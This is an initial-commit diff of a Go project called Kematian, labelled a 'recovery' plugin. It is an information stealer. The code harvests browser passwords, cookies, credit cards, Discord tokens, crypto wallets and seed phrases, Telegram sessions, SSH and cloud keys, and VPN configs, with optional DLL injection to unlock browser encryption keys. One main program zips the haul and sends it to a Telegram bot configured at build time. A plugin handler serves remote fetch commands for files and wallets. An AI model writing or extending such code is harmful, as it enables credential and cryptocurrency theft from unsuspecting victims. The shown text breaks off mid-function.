initial commit
This commit is contained in:
@@ -0,0 +1,361 @@
|
||||
// Command devtool is a standalone development harness for the Kematian
|
||||
// recovery pipeline. It emulates the plugin host + server by running the same
|
||||
// collection code as the c-shared plugin, then prints a summary (or, with
|
||||
// -verbose, the full event/result JSON) to the console.
|
||||
//
|
||||
// Usage examples:
|
||||
//
|
||||
// go run ./cmd/devtool # collect everything, summary
|
||||
// go run ./cmd/devtool -cookies -browser Brave # just Brave cookies
|
||||
// go run ./cmd/devtool -verbose # dump full JSON events
|
||||
// go run ./cmd/devtool -out result.json -no-inject
|
||||
//
|
||||
// It is not loaded as a plugin; it links the recovery package directly and is
|
||||
// meant to make local development and debugging easier.
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
recovery "recovery/recovery"
|
||||
)
|
||||
|
||||
const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB, matches plugin
|
||||
|
||||
var verbose bool
|
||||
|
||||
func main() {
|
||||
var (
|
||||
outPath string
|
||||
timeoutSec int
|
||||
browser string
|
||||
noInject bool
|
||||
includeZip bool
|
||||
|
||||
all bool
|
||||
passwords bool
|
||||
cookies bool
|
||||
autofill bool
|
||||
history bool
|
||||
bookmarks bool
|
||||
cards bool
|
||||
discord bool
|
||||
files bool
|
||||
wallets bool
|
||||
telegram bool
|
||||
keys bool
|
||||
apps bool
|
||||
gaming bool
|
||||
vpn bool
|
||||
extensions bool
|
||||
fingerprint bool
|
||||
fingerprintJS bool
|
||||
)
|
||||
|
||||
flag.StringVar(&outPath, "out", "", "write the full result JSON to this file")
|
||||
flag.IntVar(&timeoutSec, "timeout", 120, "collection timeout in seconds")
|
||||
flag.StringVar(&browser, "browser", "", "only show results for this browser (case-insensitive); scanning is not restricted")
|
||||
flag.BoolVar(&noInject, "no-inject", false, "skip DLL injection (direct file access only, no App-Bound/v20 keys)")
|
||||
flag.BoolVar(&verbose, "verbose", false, "print full event/result JSON (default: summary only)")
|
||||
flag.BoolVar(&includeZip, "content", false, "include base64 content in auto-download events")
|
||||
|
||||
flag.BoolVar(&all, "all", false, "collect everything")
|
||||
flag.BoolVar(&passwords, "passwords", false, "collect passwords")
|
||||
flag.BoolVar(&cookies, "cookies", false, "collect cookies")
|
||||
flag.BoolVar(&autofill, "autofill", false, "collect autofill")
|
||||
flag.BoolVar(&history, "history", false, "collect history")
|
||||
flag.BoolVar(&bookmarks, "bookmarks", false, "collect bookmarks")
|
||||
flag.BoolVar(&cards, "cards", false, "collect credit cards")
|
||||
flag.BoolVar(&discord, "discord", false, "collect Discord tokens")
|
||||
flag.BoolVar(&files, "files", false, "scan files")
|
||||
flag.BoolVar(&wallets, "wallets", false, "scan wallets")
|
||||
flag.BoolVar(&telegram, "telegram", false, "scan Telegram sessions")
|
||||
flag.BoolVar(&keys, "keys", false, "scan SSH & cloud keys")
|
||||
flag.BoolVar(&apps, "apps", false, "scan app credentials")
|
||||
flag.BoolVar(&gaming, "gaming", false, "scan gaming platforms")
|
||||
flag.BoolVar(&vpn, "vpn", false, "scan VPN configs")
|
||||
flag.BoolVar(&extensions, "extensions", false, "scan browser extensions")
|
||||
flag.BoolVar(&fingerprint, "fingerprint", false, "collect the native browser fingerprint and exit")
|
||||
flag.BoolVar(&fingerprintJS, "fingerprint-js", false, "collect the JS (canvas/WebGL/audio) fingerprint and exit")
|
||||
flag.Parse()
|
||||
|
||||
if noInject {
|
||||
os.Setenv("KEMATIAN_NO_INJECT", "1")
|
||||
}
|
||||
|
||||
if fingerprint {
|
||||
fp := recovery.CollectFingerprint()
|
||||
data, _ := json.MarshalIndent(fp, "", " ")
|
||||
fmt.Println(string(data))
|
||||
return
|
||||
}
|
||||
|
||||
if fingerprintJS {
|
||||
fp := recovery.CollectJSFingerprint()
|
||||
if fp == nil {
|
||||
fmt.Println("{\"error\": \"failed to collect JS fingerprint\"}")
|
||||
return
|
||||
}
|
||||
data, _ := json.MarshalIndent(fp, "", " ")
|
||||
fmt.Println(string(data))
|
||||
return
|
||||
}
|
||||
|
||||
anyData := passwords || cookies || autofill || history || bookmarks || cards ||
|
||||
discord || files || wallets || telegram || keys || apps || gaming || vpn || extensions
|
||||
|
||||
opts := recovery.CollectOptions{
|
||||
Browsers: all || !anyData || passwords || cookies || autofill || history || bookmarks || cards || extensions,
|
||||
Passwords: all || !anyData || passwords,
|
||||
Cookies: all || !anyData || cookies,
|
||||
Autofill: all || !anyData || autofill,
|
||||
History: all || !anyData || history,
|
||||
Bookmarks: all || !anyData || bookmarks,
|
||||
CreditCards: all || !anyData || cards,
|
||||
Discord: all || !anyData || discord,
|
||||
Files: all || !anyData || files,
|
||||
Wallets: all || !anyData || wallets,
|
||||
Telegram: all || !anyData || telegram,
|
||||
Keys: all || !anyData || keys,
|
||||
Apps: all || !anyData || apps,
|
||||
Gaming: all || !anyData || gaming,
|
||||
VPNs: all || !anyData || vpn,
|
||||
}
|
||||
|
||||
log.Printf("devtool: timeout=%ds browser=%q noInject=%v verbose=%v", timeoutSec, browser, noInject, verbose)
|
||||
|
||||
printEvent("status", map[string]string{"message": "Starting collection (devtool)..."})
|
||||
|
||||
var exts []recovery.ExtensionResult
|
||||
if opts.Browsers || extensions {
|
||||
exts = recovery.ScanExtensions()
|
||||
log.Printf("devtool: extension scan complete: %d extensions", len(exts))
|
||||
}
|
||||
|
||||
partialFn := func(partial *recovery.CollectionResult) {
|
||||
printEvent("partial", filter(partial, browser))
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSec)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
start := time.Now()
|
||||
result, err := recovery.Collect(ctx, opts, partialFn)
|
||||
if err != nil {
|
||||
log.Printf("devtool: collection failed: %v", err)
|
||||
printEvent("error", map[string]string{"error": err.Error()})
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
if opts.Browsers || extensions {
|
||||
result.Extensions = exts
|
||||
}
|
||||
|
||||
printSummary(filter(result, browser))
|
||||
printEvent("results", filter(result, browser))
|
||||
|
||||
if len(result.Wallets) > 0 {
|
||||
autoDownloadWallets(result.Wallets, includeZip)
|
||||
}
|
||||
|
||||
seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill)
|
||||
if len(seeds) > 0 {
|
||||
log.Printf("devtool: seed scan found %d seed phrases", len(seeds))
|
||||
printEvent("seed_scan_results", map[string]interface{}{"seeds": seeds})
|
||||
}
|
||||
|
||||
if outPath != "" {
|
||||
if err := writeResult(outPath, filter(result, browser)); err != nil {
|
||||
log.Printf("devtool: failed to write output: %v", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
log.Printf("devtool: wrote result to %s", outPath)
|
||||
}
|
||||
|
||||
log.Printf("devtool: collection completed in %s", time.Since(start).Round(time.Millisecond))
|
||||
}
|
||||
|
||||
// printEvent emulates the server receiving an event + JSON payload. Only used
|
||||
// when -verbose is set.
|
||||
func printEvent(event string, payload interface{}) {
|
||||
if !verbose {
|
||||
return
|
||||
}
|
||||
data, err := json.MarshalIndent(payload, "", " ")
|
||||
if err != nil {
|
||||
log.Printf("devtool: marshal %s: %v", event, err)
|
||||
return
|
||||
}
|
||||
fmt.Printf("\n===== EVENT: %s =====\n%s\n", event, string(data))
|
||||
}
|
||||
|
||||
type browserCounts struct {
|
||||
cookies, passwords, autofill, history, bookmarks, cards, extensions int
|
||||
}
|
||||
|
||||
func tally(r *recovery.CollectionResult) map[string]*browserCounts {
|
||||
m := map[string]*browserCounts{}
|
||||
get := func(b string) *browserCounts {
|
||||
if b == "" {
|
||||
b = "(unknown)"
|
||||
}
|
||||
c, ok := m[b]
|
||||
if !ok {
|
||||
c = &browserCounts{}
|
||||
m[b] = c
|
||||
}
|
||||
return c
|
||||
}
|
||||
for _, v := range r.Cookies {
|
||||
get(v.Browser).cookies++
|
||||
}
|
||||
for _, v := range r.Passwords {
|
||||
get(v.Browser).passwords++
|
||||
}
|
||||
for _, v := range r.Autofill {
|
||||
get(v.Browser).autofill++
|
||||
}
|
||||
for _, v := range r.History {
|
||||
get(v.Browser).history++
|
||||
}
|
||||
for _, v := range r.Bookmarks {
|
||||
get(v.Browser).bookmarks++
|
||||
}
|
||||
for _, v := range r.CreditCards {
|
||||
get(v.Browser).cards++
|
||||
}
|
||||
for _, v := range r.Extensions {
|
||||
get(v.Browser).extensions++
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
func printSummary(r *recovery.CollectionResult) {
|
||||
fmt.Printf("\n===== SUMMARY =====\n")
|
||||
|
||||
byBrowser := tally(r)
|
||||
names := make([]string, 0, len(byBrowser))
|
||||
for b := range byBrowser {
|
||||
names = append(names, b)
|
||||
}
|
||||
sort.Strings(names)
|
||||
|
||||
fmt.Printf("%-14s %9s %9s %8s %7s %9s %5s %10s\n",
|
||||
"browser", "cookies", "passwords", "autofill", "history", "bookmarks", "cards", "extensions")
|
||||
for _, b := range names {
|
||||
c := byBrowser[b]
|
||||
fmt.Printf("%-14s %9d %9d %8d %7d %9d %5d %10d\n",
|
||||
b, c.cookies, c.passwords, c.autofill, c.history, c.bookmarks, c.cards, c.extensions)
|
||||
}
|
||||
|
||||
fmt.Printf("\ndiscord tokens: %d\n", len(r.DiscordTokens))
|
||||
fmt.Printf("files: %d\n", len(r.Files))
|
||||
fmt.Printf("wallets: %d\n", len(r.Wallets))
|
||||
fmt.Printf("telegram: %d\n", len(r.Telegram))
|
||||
fmt.Printf("keys: %d\n", len(r.Keys))
|
||||
fmt.Printf("apps: %d\n", len(r.AppCredentials))
|
||||
if r.Gaming != nil {
|
||||
fmt.Printf("gaming: present\n")
|
||||
}
|
||||
if r.VPNs != nil {
|
||||
fmt.Printf("vpns: present\n")
|
||||
}
|
||||
if len(r.Errors) > 0 {
|
||||
fmt.Printf("\nerrors: %d\n", len(r.Errors))
|
||||
for _, e := range r.Errors {
|
||||
fmt.Printf(" - %s\n", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func writeResult(path string, r *recovery.CollectionResult) error {
|
||||
data, err := json.MarshalIndent(r, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(path, data, 0600)
|
||||
}
|
||||
|
||||
func autoDownloadWallets(wallets []recovery.WalletResult, includeZip bool) {
|
||||
for _, w := range wallets {
|
||||
if w.Size > maxAutoDownloadSize {
|
||||
log.Printf("devtool: skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size)
|
||||
continue
|
||||
}
|
||||
data, err := recovery.ZipDirectory(w.Path)
|
||||
if err != nil {
|
||||
log.Printf("devtool: auto-download zip %q: %v", w.Name, err)
|
||||
continue
|
||||
}
|
||||
log.Printf("devtool: wallet %q (%s) zipped %d bytes", w.Name, w.Type, len(data))
|
||||
if includeZip {
|
||||
printEvent("wallet_auto_data", map[string]interface{}{
|
||||
"name": w.Name,
|
||||
"type": w.Type,
|
||||
"path": w.Path,
|
||||
"addresses": w.Addresses,
|
||||
"vaultData": w.VaultData,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// filter returns a copy of r restricted to a single browser (case-insensitive)
|
||||
// when name is non-empty. Non-browser fields are dropped in that case so the
|
||||
// output stays focused on the browser under test.
|
||||
func filter(r *recovery.CollectionResult, name string) *recovery.CollectionResult {
|
||||
if name == "" {
|
||||
return r
|
||||
}
|
||||
match := func(b string) bool { return strings.EqualFold(b, name) }
|
||||
|
||||
out := &recovery.CollectionResult{}
|
||||
for _, v := range r.Passwords {
|
||||
if match(v.Browser) {
|
||||
out.Passwords = append(out.Passwords, v)
|
||||
}
|
||||
}
|
||||
for _, v := range r.Cookies {
|
||||
if match(v.Browser) {
|
||||
out.Cookies = append(out.Cookies, v)
|
||||
}
|
||||
}
|
||||
for _, v := range r.Autofill {
|
||||
if match(v.Browser) {
|
||||
out.Autofill = append(out.Autofill, v)
|
||||
}
|
||||
}
|
||||
for _, v := range r.History {
|
||||
if match(v.Browser) {
|
||||
out.History = append(out.History, v)
|
||||
}
|
||||
}
|
||||
for _, v := range r.Bookmarks {
|
||||
if match(v.Browser) {
|
||||
out.Bookmarks = append(out.Bookmarks, v)
|
||||
}
|
||||
}
|
||||
for _, v := range r.CreditCards {
|
||||
if match(v.Browser) {
|
||||
out.CreditCards = append(out.CreditCards, v)
|
||||
}
|
||||
}
|
||||
for _, v := range r.Extensions {
|
||||
if match(v.Browser) {
|
||||
out.Extensions = append(out.Extensions, v)
|
||||
}
|
||||
}
|
||||
out.Errors = r.Errors
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"os/signal"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"recovery/recovery/exfil"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 120 * time.Second
|
||||
|
||||
// EMBEDDED CONFIG - Change these values before building
|
||||
defaultBotToken = "YOUR_BOT_TOKEN_HERE"
|
||||
defaultChatID = "YOUR_CHAT_ID_HERE"
|
||||
)
|
||||
|
||||
func main() {
|
||||
useTelegram := defaultBotToken != "" && defaultBotToken != "YOUR_BOT_TOKEN_HERE" && defaultChatID != "" && defaultChatID != "YOUR_CHAT_ID_HERE"
|
||||
if !useTelegram {
|
||||
return
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
||||
defer cancel()
|
||||
|
||||
sigChan := make(chan os.Signal, 1)
|
||||
signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)
|
||||
go func() {
|
||||
<-sigChan
|
||||
cancel()
|
||||
}()
|
||||
|
||||
zipData, counts, err := exfil.CollectAndZipAll(ctx)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
filename := "kematian_" + time.Now().Format("20060102_150405") + ".zip"
|
||||
cfg := exfil.TelegramConfig{
|
||||
BotToken: defaultBotToken,
|
||||
ChatID: defaultChatID,
|
||||
}
|
||||
_ = exfil.SendToTelegram(cfg, zipData, filename, counts)
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import "C"
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var callbackPtr uintptr
|
||||
|
||||
func hostSendViaCallback(event string, payload []byte) {
|
||||
cb := callbackPtr
|
||||
if cb == 0 {
|
||||
return
|
||||
}
|
||||
eventBytes := []byte(event)
|
||||
var evPtr, plPtr uintptr
|
||||
evLen := uintptr(len(eventBytes))
|
||||
plLen := uintptr(len(payload))
|
||||
if len(eventBytes) > 0 {
|
||||
evPtr = uintptr(unsafe.Pointer(&eventBytes[0]))
|
||||
}
|
||||
if len(payload) > 0 {
|
||||
plPtr = uintptr(unsafe.Pointer(&payload[0]))
|
||||
}
|
||||
syscall.SyscallN(cb, evPtr, evLen, plPtr, plLen)
|
||||
}
|
||||
|
||||
//export PluginSetCallback
|
||||
func PluginSetCallback(cb C.ulonglong) {
|
||||
callbackPtr = uintptr(cb)
|
||||
setSend(hostSendViaCallback)
|
||||
}
|
||||
|
||||
//export PluginOnLoad
|
||||
func PluginOnLoad(hostInfo *C.char, hostInfoLen C.int, cb C.ulonglong) C.int {
|
||||
callbackPtr = uintptr(cb)
|
||||
setSend(hostSendViaCallback)
|
||||
data := C.GoBytes(unsafe.Pointer(hostInfo), hostInfoLen)
|
||||
if err := handleInit(data); err != nil {
|
||||
return 1
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
//export PluginOnEvent
|
||||
func PluginOnEvent(event *C.char, eventLen C.int, payload *C.char, payloadLen C.int) C.int {
|
||||
ev := C.GoStringN(event, eventLen)
|
||||
var pl []byte
|
||||
if payloadLen > 0 {
|
||||
pl = C.GoBytes(unsafe.Pointer(payload), payloadLen)
|
||||
}
|
||||
if err := handleEvent(ev, pl); err != nil {
|
||||
return 1
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
//export PluginOnUnload
|
||||
func PluginOnUnload() {
|
||||
handleUnload()
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
module recovery
|
||||
|
||||
go 1.26
|
||||
|
||||
require (
|
||||
github.com/mattn/go-sqlite3 v1.14.18
|
||||
golang.org/x/sys v0.47.0
|
||||
)
|
||||
|
||||
require golang.org/x/crypto v0.50.0
|
||||
|
||||
require (
|
||||
github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f // indirect
|
||||
github.com/chromedp/chromedp v0.16.0 // indirect
|
||||
github.com/chromedp/sysutil v1.1.0 // indirect
|
||||
github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 // indirect
|
||||
github.com/gobwas/httphead v0.1.0 // indirect
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.4.0 // indirect
|
||||
)
|
||||
@@ -0,0 +1,23 @@
|
||||
github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f h1:0Z1zcSLEmnj2c2CmJYBqewtS6pxhB39bNWUSEUAWjgk=
|
||||
github.com/chromedp/cdproto v0.0.0-20260714215040-dc233986426f/go.mod h1:RwFsSODCtFExll+GhHM6R92SARHR3Z3oipaxLHj46C0=
|
||||
github.com/chromedp/chromedp v0.16.0 h1:rOO4deOm4CbZgBCa8mD9g2rDyIoNs0BkgvNrlbp5ouk=
|
||||
github.com/chromedp/chromedp v0.16.0/go.mod h1:rbuGKFT1vMcFcFqKfPIO1GpX/N+2s8onm2qMxZLbU5U=
|
||||
github.com/chromedp/sysutil v1.1.0 h1:PUFNv5EcprjqXZD9nJb9b/c9ibAbxiYo4exNWZyipwM=
|
||||
github.com/chromedp/sysutil v1.1.0/go.mod h1:WiThHUdltqCNKGc4gaU50XgYjwjYIhKWoHGPTUfWTJ8=
|
||||
github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68 h1:KZaTBSyshWX3MP5jukJcNSuXDQTO+rNpt0J564dX/eg=
|
||||
github.com/go-json-experiment/json v0.0.0-20260623181947-01eb4420fa68/go.mod h1:tphK2c80bpPhMOI4v6bIc2xWywPfbqi1Z06+RcrMkDg=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs=
|
||||
github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc=
|
||||
github.com/mattn/go-sqlite3 v1.14.18 h1:JL0eqdCOq6DJVNPSvArO/bIV9/P7fbGrV00LZHc+5aI=
|
||||
github.com/mattn/go-sqlite3 v1.14.18/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg=
|
||||
golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI=
|
||||
golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI=
|
||||
golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
|
||||
golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
+588
@@ -0,0 +1,588 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"log"
|
||||
"path/filepath"
|
||||
"recovery/recovery"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// collectDeadline bounds an entire collection run. A single stuck browser
|
||||
// (NSS/COM/pipe stall) must never wedge the agent for more than this.
|
||||
const collectDeadline = 90 * time.Second
|
||||
|
||||
type HostInfo struct {
|
||||
ClientID string `json:"clientId"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
var (
|
||||
hostInfo HostInfo
|
||||
sendFn func(event string, payload []byte)
|
||||
mu sync.Mutex
|
||||
collecting atomic.Bool
|
||||
)
|
||||
|
||||
func setSend(fn func(event string, payload []byte)) {
|
||||
mu.Lock()
|
||||
sendFn = fn
|
||||
mu.Unlock()
|
||||
}
|
||||
|
||||
func sendEvent(event string, payload interface{}) {
|
||||
mu.Lock()
|
||||
fn := sendFn
|
||||
mu.Unlock()
|
||||
if fn == nil {
|
||||
return
|
||||
}
|
||||
data, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] marshal error: %v", err)
|
||||
return
|
||||
}
|
||||
fn(event, data)
|
||||
}
|
||||
|
||||
func handleInit(hostJSON []byte) error {
|
||||
if err := json.Unmarshal(hostJSON, &hostInfo); err != nil {
|
||||
return err
|
||||
}
|
||||
log.Printf("[recovery] init: clientId=%s os=%s arch=%s", hostInfo.ClientID, hostInfo.OS, hostInfo.Arch)
|
||||
sendEvent("ready", map[string]string{"status": "recovery plugin ready"})
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleEvent(event string, payload []byte) error {
|
||||
switch event {
|
||||
case "collect":
|
||||
go handleCollect(payload)
|
||||
case "scan_files":
|
||||
go handleScanFiles()
|
||||
case "scan_extensions":
|
||||
go handleScanExtensions()
|
||||
case "fetch_file":
|
||||
go handleFetchFile(payload)
|
||||
case "fetch_ext_zip":
|
||||
go handleFetchExtZip(payload)
|
||||
case "scan_wallets":
|
||||
go handleScanWallets()
|
||||
case "fetch_wallet_zip":
|
||||
go handleFetchWalletZip(payload)
|
||||
case "scan_telegram":
|
||||
go handleScanTelegram()
|
||||
case "fetch_telegram_zip":
|
||||
go handleFetchTelegramZip(payload)
|
||||
case "scan_keys":
|
||||
go handleScanKeys()
|
||||
case "scan_apps":
|
||||
go handleScanApps()
|
||||
case "scan_gaming":
|
||||
go handleScanGaming()
|
||||
case "scan_vpn":
|
||||
go handleScanVPN()
|
||||
case "fingerprint":
|
||||
go handleFingerprint()
|
||||
case "fingerprint_js":
|
||||
go handleFingerprintJS()
|
||||
case "ping":
|
||||
sendEvent("pong", nil)
|
||||
default:
|
||||
log.Printf("[recovery] unhandled event: %s", event)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func handleCollect(payload []byte) {
|
||||
if !collecting.CompareAndSwap(false, true) {
|
||||
log.Printf("[recovery] collection already in progress, ignoring duplicate request")
|
||||
return
|
||||
}
|
||||
defer collecting.Store(false)
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] collection panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "internal collection error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var opts recovery.CollectOptions
|
||||
if len(payload) > 0 {
|
||||
json.Unmarshal(payload, &opts)
|
||||
} else {
|
||||
opts.Browsers = true
|
||||
}
|
||||
|
||||
if opts.Browsers {
|
||||
noneSet := !opts.Passwords && !opts.Cookies && !opts.Autofill &&
|
||||
!opts.History && !opts.Bookmarks && !opts.CreditCards && !opts.Discord
|
||||
if noneSet {
|
||||
opts.Passwords = true
|
||||
opts.Cookies = true
|
||||
opts.Autofill = true
|
||||
opts.History = true
|
||||
opts.Bookmarks = true
|
||||
opts.CreditCards = true
|
||||
opts.Discord = true
|
||||
opts.Files = true
|
||||
opts.Wallets = true
|
||||
opts.Telegram = true
|
||||
opts.Keys = true
|
||||
opts.Apps = true
|
||||
opts.Gaming = true
|
||||
opts.VPNs = true
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[recovery] starting collection (passwords=%v cookies=%v autofill=%v history=%v bookmarks=%v cards=%v discord=%v)",
|
||||
opts.Passwords, opts.Cookies, opts.Autofill, opts.History, opts.Bookmarks, opts.CreditCards, opts.Discord)
|
||||
sendEvent("status", map[string]string{"message": "Resolving encryption keys..."})
|
||||
|
||||
var extensions []recovery.ExtensionResult
|
||||
var extWg sync.WaitGroup
|
||||
if opts.Browsers {
|
||||
extWg.Add(1)
|
||||
go func() {
|
||||
defer extWg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] extension scan panic: %v", r)
|
||||
}
|
||||
}()
|
||||
extensions = recovery.ScanExtensions()
|
||||
}()
|
||||
}
|
||||
|
||||
partialFn := func(partial *recovery.CollectionResult) {
|
||||
sendEvent("partial", partial)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), collectDeadline)
|
||||
defer cancel()
|
||||
|
||||
result, err := recovery.Collect(ctx, opts, partialFn)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] collection failed: %v", err)
|
||||
sendEvent("error", map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if opts.Browsers {
|
||||
extWg.Wait()
|
||||
result.Extensions = extensions
|
||||
}
|
||||
|
||||
log.Printf("[recovery] collection complete: %d passwords, %d cookies, %d autofill, %d history, %d bookmarks, %d cards, %d discord tokens, %d extensions, %d wallets, %d telegram, %d keys, %d app creds",
|
||||
len(result.Passwords), len(result.Cookies), len(result.Autofill),
|
||||
len(result.History), len(result.Bookmarks), len(result.CreditCards), len(result.DiscordTokens), len(result.Extensions), len(result.Wallets), len(result.Telegram), len(result.Keys), len(result.AppCredentials))
|
||||
|
||||
sendEvent("results", result)
|
||||
|
||||
if len(result.Wallets) > 0 {
|
||||
go func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] wallet auto-download panic: %v", r)
|
||||
}
|
||||
}()
|
||||
autoDownloadWallets(result.Wallets)
|
||||
}()
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] seed scan panic: %v", r)
|
||||
}
|
||||
}()
|
||||
seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill)
|
||||
if len(seeds) > 0 {
|
||||
log.Printf("[recovery] seed scan found %d seed phrases", len(seeds))
|
||||
sendEvent("seed_scan_results", map[string]interface{}{
|
||||
"seeds": seeds,
|
||||
})
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func handleScanExtensions() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] extension scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "extension scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning extensions..."})
|
||||
exts := recovery.ScanExtensions()
|
||||
log.Printf("[recovery] extension scan complete: %d extensions", len(exts))
|
||||
sendEvent("extension_scan_results", map[string]interface{}{
|
||||
"extensions": exts,
|
||||
})
|
||||
}
|
||||
|
||||
func handleFetchExtZip(payload []byte) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] fetch_ext_zip panic: %v", r)
|
||||
sendEvent("fetch_ext_zip_error", map[string]string{"error": "internal error"})
|
||||
}
|
||||
}()
|
||||
|
||||
var req struct {
|
||||
Path string `json:"path"`
|
||||
ExtID string `json:"extId"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||||
sendEvent("fetch_ext_zip_error", map[string]string{"error": "invalid request"})
|
||||
return
|
||||
}
|
||||
|
||||
data, err := recovery.ZipDirectory(req.Path)
|
||||
if err != nil {
|
||||
log.Printf("[recovery] fetch_ext_zip %q: %v", req.ExtID, err)
|
||||
sendEvent("fetch_ext_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("[recovery] zipped extension %q (%d bytes)", req.ExtID, len(data))
|
||||
sendEvent("fetch_ext_zip_result", map[string]interface{}{
|
||||
"path": req.Path,
|
||||
"extId": req.ExtID,
|
||||
"size": len(data),
|
||||
"content": base64.StdEncoding.EncodeToString(data),
|
||||
})
|
||||
}
|
||||
|
||||
const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB
|
||||
|
||||
func handleScanWallets() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[recovery] wallet scan panic: %v", r)
|
||||
sendEvent("error", map[string]string{"error": "wallet scan error"})
|
||||
}
|
||||
}()
|
||||
sendEvent("status", map[string]string{"message": "Scanning wallets..."})
|
||||
wallets := recovery.ScanWallets()
|
||||
log.Printf("[recovery] wallet scan complete: %d wallets", len(wallets))
|
||||
sendEvent("wallet_scan_results", map[string]interface{}{
|
||||
